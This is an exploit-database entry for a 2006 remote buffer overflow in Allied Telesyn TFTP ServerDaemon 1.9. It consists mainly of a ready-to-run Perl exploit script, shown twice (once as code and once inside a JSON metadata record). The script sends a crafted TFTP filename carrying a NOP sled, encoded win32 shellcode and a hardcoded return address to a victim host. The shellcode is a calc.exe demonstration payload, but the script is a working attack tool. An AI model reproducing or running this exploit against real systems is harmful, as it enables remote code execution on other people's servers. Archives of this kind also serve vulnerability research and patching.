Search...

Allied Telesyn TFTP (AT-TFTP) ServerDaemon 1.9 - Filename Remote Buffer Overflow

2006-12-03T00:00:00

ID EXPLOITPACK:98295D511F554067511DB24B4112E41E
Type exploitpack
Reporter Jacopo Cervini
Modified 2006-12-03T00:00:00

Description

Allied Telesyn TFTP (AT-TFTP) ServerDaemon 1.9 - Filename Remote Buffer Overflow

                                        
                                            #!/usr/bin/perl -w
#acaro[at]jervus.it
#https://www.securityfocus.com/bid/21320
#
# liuqx@nipc.org.cn is credited with the discovery of this vulnerability



use IO::Socket;

if(!($ARGV[1]))
{
 print "Uso: atftp-19.pl &lt;victim&gt; &lt;port&gt;\n\n";
 exit;
}



$victim = IO::Socket::INET-&gt;new(Proto=&gt;'udp',
                                PeerAddr=&gt;$ARGV[0],
                                PeerPort=&gt;$ARGV[1])
                            or die "Cannot connect to $ARGV[0] sulla porta $ARGV[1]";
$pad = "\x90"x63;

# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

$shellcode = "\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf1".
"\xf1\x59\x06\x83\xeb\xfc\xe2\xf4\x0d\x19\x1d\x06\xf1\xf1\xd2\x43".
"\xcd\x7a\x25\x03\x89\xf0\xb6\x8d\xbe\xe9\xd2\x59\xd1\xf0\xb2\x4f".
"\x7a\xc5\xd2\x07\x1f\xc0\x99\x9f\x5d\x75\x99\x72\xf6\x30\x93\x0b".
"\xf0\x33\xb2\xf2\xca\xa5\x7d\x02\x84\x14\xd2\x59\xd5\xf0\xb2\x60".
"\x7a\xfd\x12\x8d\xae\xed\x58\xed\x7a\xed\xd2\x07\x1a\x78\x05\x22".
"\xf5\x32\x68\xc6\x95\x7a\x19\x36\x74\x31\x21\x0a\x7a\xb1\x55\x8d".
"\x81\xed\xf4\x8d\x99\xf9\xb2\x0f\x7a\x71\xe9\x06\xf1\xf1\xd2\x6e".
"\xcd\xae\x68\xf0\x91\xa7\xd0\xfe\x72\x31\x22\x56\x99\x01\xd3\x02".
"\xae\x99\xc1\xf8\x7b\xff\x0e\xf9\x16\x92\x38\x6a\x92\xdf\x3c\x7e".
"\x94\xf1\x59\x06";

#$eip="\x42\x42\x42\x42";
$eip="\xf4\xf5\xe3\x75";	#call [ESP+28] in IMM32.dll on win2k Server SP4 Italian 



$mode = "netascii";

$exploit = "\x00\x02" . $pad . $shellcode . $eip . "\0"  . $mode . "\0";


print $victim $exploit;

print " + Malicious request sent ...\n";

sleep(2);

print "Done.\n";

close($victim);
exit;

# milw0rm.com [2006-12-03]

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:02", "references": [], "description": "\nAllied Telesyn TFTP (AT-TFTP) ServerDaemon 1.9 - Filename Remote Buffer Overflow", "edition": 1, "reporter": "Jacopo Cervini", "exploitpack": {"type": "remote", "platform": "windows"}, "published": "2006-12-03T00:00:00", "title": "Allied Telesyn TFTP (AT-TFTP) ServerDaemon 1.9 - Filename Remote Buffer Overflow", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:02", "rev": 2}, "score": {"value": 0.6, "vector": "NONE", "modified": "2020-04-01T19:04:02", "rev": 2}, "vulnersScore": 0.6}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2006-12-03T00:00:00", "id": "EXPLOITPACK:98295D511F554067511DB24B4112E41E", "href": "", "viewCount": 1, "sourceData": "#!/usr/bin/perl -w\n#acaro[at]jervus.it\n#https://www.securityfocus.com/bid/21320\n#\n# liuqx@nipc.org.cn is credited with the discovery of this vulnerability\n\n\n\nuse IO::Socket;\n\nif(!($ARGV[1]))\n{\n print \"Uso: atftp-19.pl <victim> <port>\\n\\n\";\n exit;\n}\n\n\n\n$victim = IO::Socket::INET->new(Proto=>'udp',\n PeerAddr=>$ARGV[0],\n PeerPort=>$ARGV[1])\n or die \"Cannot connect to $ARGV[0] sulla porta $ARGV[1]\";\n$pad = \"\\x90\"x63;\n\n# win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com\n\n$shellcode = \"\\x33\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xf1\".\n\"\\xf1\\x59\\x06\\x83\\xeb\\xfc\\xe2\\xf4\\x0d\\x19\\x1d\\x06\\xf1\\xf1\\xd2\\x43\".\n\"\\xcd\\x7a\\x25\\x03\\x89\\xf0\\xb6\\x8d\\xbe\\xe9\\xd2\\x59\\xd1\\xf0\\xb2\\x4f\".\n\"\\x7a\\xc5\\xd2\\x07\\x1f\\xc0\\x99\\x9f\\x5d\\x75\\x99\\x72\\xf6\\x30\\x93\\x0b\".\n\"\\xf0\\x33\\xb2\\xf2\\xca\\xa5\\x7d\\x02\\x84\\x14\\xd2\\x59\\xd5\\xf0\\xb2\\x60\".\n\"\\x7a\\xfd\\x12\\x8d\\xae\\xed\\x58\\xed\\x7a\\xed\\xd2\\x07\\x1a\\x78\\x05\\x22\".\n\"\\xf5\\x32\\x68\\xc6\\x95\\x7a\\x19\\x36\\x74\\x31\\x21\\x0a\\x7a\\xb1\\x55\\x8d\".\n\"\\x81\\xed\\xf4\\x8d\\x99\\xf9\\xb2\\x0f\\x7a\\x71\\xe9\\x06\\xf1\\xf1\\xd2\\x6e\".\n\"\\xcd\\xae\\x68\\xf0\\x91\\xa7\\xd0\\xfe\\x72\\x31\\x22\\x56\\x99\\x01\\xd3\\x02\".\n\"\\xae\\x99\\xc1\\xf8\\x7b\\xff\\x0e\\xf9\\x16\\x92\\x38\\x6a\\x92\\xdf\\x3c\\x7e\".\n\"\\x94\\xf1\\x59\\x06\";\n\n#$eip=\"\\x42\\x42\\x42\\x42\";\n$eip=\"\\xf4\\xf5\\xe3\\x75\";\t#call [ESP+28] in IMM32.dll on win2k Server SP4 Italian \n\n\n\n$mode = \"netascii\";\n\n$exploit = \"\\x00\\x02\" . $pad . $shellcode . $eip . \"\\0\" . $mode . \"\\0\";\n\n\nprint $victim $exploit;\n\nprint \" + Malicious request sent ...\\n\";\n\nsleep(2);\n\nprint \"Done.\\n\";\n\nclose($victim);\nexit;\n\n# milw0rm.com [2006-12-03]", "cvss": {"score": 0.0, "vector": "NONE"}}